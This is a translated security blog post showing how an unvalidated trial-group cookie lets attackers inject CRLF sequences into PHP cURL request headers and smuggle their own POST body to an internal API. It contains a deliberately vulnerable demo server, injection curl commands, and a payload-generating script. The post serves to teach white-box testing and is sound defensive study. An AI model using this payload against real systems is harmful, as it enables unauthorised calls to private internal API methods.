原文:
https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545
这是一篇关于在内部API调用中注入回车和换行字符的文章。一年前,我作为GitHub上的一名Gist写了这篇文章,但这并不是写博客的最佳平台,不是吗?我在这里添加了更多的细节,所以这不是简单的复制和粘贴。
如果可以的话,我喜欢做白盒测试。我不是一个很好的黑盒测试者,但我花了超过十年的时间阅读和编写PHP——并且在这个过程中犯了不少错误——所以我倾向于知道应该注意什么。
我浏览了一些源代码,遇到了一个函数,看起来有点像这样:
<?php
// common.php
function getTrialGroups(){
$trialGroups = 'default';
if (isset($_COOKIE['trialGroups'])){
$trialGroups = $_COOKIE['trialGroups'];
}
return explode(",", $trialGroups);
}
我所研究的系统有一个“试验组”的概念。每个用户会话都有一组与之关联的组,这些组以逗号分隔的列表存储在cookie中。其理念是,当新功能发布时,一开始可以面向一小部分用户,以降低功能发布的风险,或允许对功能的不同变体进行比较(这是一种称为a /B测试的方法)。getTrialGroups()函数只是读取cookie值,分割列表并为该用户返回一个试用组数组。
这个函数中缺少白名单的特性立刻引起了我的注意。我对代码库的其余部分进行了查询,以找到函数被调用的位置,这样我就可以查看它的返回值是否有任何不安全的使用。
我不能分享确切的代码,但我写了一个我编写的大致功能:
<?php
// server.php
// Include common functions
require __DIR__.'/common.php';
// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON 🙂
$ch = curl_init("http://httpbin.org/post");😉
// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: application/json",
"X-Trial-Groups: " . implode(",", getTrialGroups())
]);
// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
"method" => "getPublicData",
"params" => []
]));
// Return the response to the user
echo curl_exec($ch);
curl_close($ch);
这段代码使用cURL库在一个内部JSON API上调用getPublicData方法。该API需要了解用户的试用组,以便相应地改变其行为,因此试用组将以X-Trial-Groups头传递给该API。
这里的问题是,当设置CURLOPT_HTTPHEADER时,不会检查值是否有回车或换行字符。因为getTrialGroups()函数返回用户可控制的数据,所以可以向API请求中注入任意头。
演示时间
为了便于理解,我将使用PHP内置的web服务器本地运行server. PHP:
tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
使用cURL命令行工具,我们可以发送一个包含trialGroups cookie的示例请求:
tom@slim:▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'
{
"args": {},
"data": "{\"method\":\"getPublicData\",\"params\":[]}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "38",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Trial-Groups": "A1,B2"
},
"json": {
"method": "getPublicData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
我使用http://httpbin.org/post代替内部API端点,它返回一个描述所发送的POST请求的JSON文档,包括请求中的任何POST数据和头。
关于响应需要注意的重要一点是,发送到httpbin.org的X-Trial-Groups头包含了trialGroups cookie中的A1、B2字符串。让我们尝试一些CRLF(回车换行)注入:
tom@slim:▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
{
"args": {},
"data": "{\"method\":\"getPublicData\",\"params\":[]}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "38",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Injected": "true",
"X-Trial-Groups": "A1,B2"
},
"json": {
"method": "getPublicData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
PHP自动在cookie值中解码url编码序列(例如%0d, %0a),因此我们可以在发送的cookie值中使用url编码的回车字符(%0d)和换行字符(%0a)。HTTP报头是由CRLF序列分隔的,所以当PHP cURL库写请求报头时,有效负载的x - injection: true部分被当作单独的报头处理。魔法!
HTTP请求
通过向请求中注入头文件,你真正能做什么?好吧,说实话,在这个案子里没有太多。如果我们稍微深入研究一下HTTP请求的结构,你会发现我们可以做的不仅仅是注入头信息;我们也可以注入POST数据!
我们发送请求体(又名POST数据)。它的长度(以字节为单位)必须与我们之前发送的Content-Length头匹配,因为我们告诉服务器它必须读取那么多字节。
让我们通过向netcat发送一个echo命令来将这个请求发送到httpbin.org:
tom@slim:▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:16:34 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
一切都按照预期运行。我们得到一些响应头、一个CRLF序列,然后是响应体。
所以,这里有一个技巧:如果发送的POST数据比您在Content-Length header中说的要多,会发生什么?让我们试一试:
tom@slim:▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
我们保持Content-Length报头不变,并表示将发送7个字节,并向请求体添加更多数据,但服务器只读取前7个字节。这就是我们可以利用的技巧。
漏洞利用:
事实证明,当您设置CURLOPT_HTTPHEADER选项时,不仅可以使用单个CRLF序列注入报头,还可以使用双CRLF序列注入POST数据。下面是我的计划:
制作我们自己的JSON POST数据,调用一些方法,而不是getPublicData;假设getPrivateData
以字节为单位获取该数据的长度
使用一个CRLF序列,注入一个Content-Length报头,该报头指示服务器只读取该字节数
注入两个CRLF序列,然后将我们的恶意JSON作为POST数据
如果一切顺利,内部API应该完全忽略合法的JSONPOST数据,而支持我们的恶意JSON。
为了简化自己的工作,我倾向于编写一些脚本来生成这些类型的有效负载;它减少了我犯错误的几率,让我的大脑纠结,试图找出失败的原因。下面是我写的:
tom@slim:▶ cat gencookie.php
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
echo "trialGroups=".urlencode($payload);
tom@slim:▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
让我们试试:
tom@slim:▶ curl -s localhost:1234 -b $(php gencookie.php)
{
"args": {},
"data": "{\"method\": \"getPrivateData\", \"params\": []}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "42",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Trial-Groups": "ignore"
},
"json": {
"method": "getPrivateData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
巨大的成功!我们将x-Trial-Groups头设置为忽略,注入一个Content-Length头和我们自己的POST数据。合法的POST数据仍然被发送,但是被服务器完全忽略了 :)
这是一种错误,你可能找到做黑盒测试,但我认为仍然值得写,因为有这么多的开源的代码,它总是好的攻击路径,因为写代码的人也不知道自己写的代码有漏洞。
本文迁移自知识星球“火线Zone”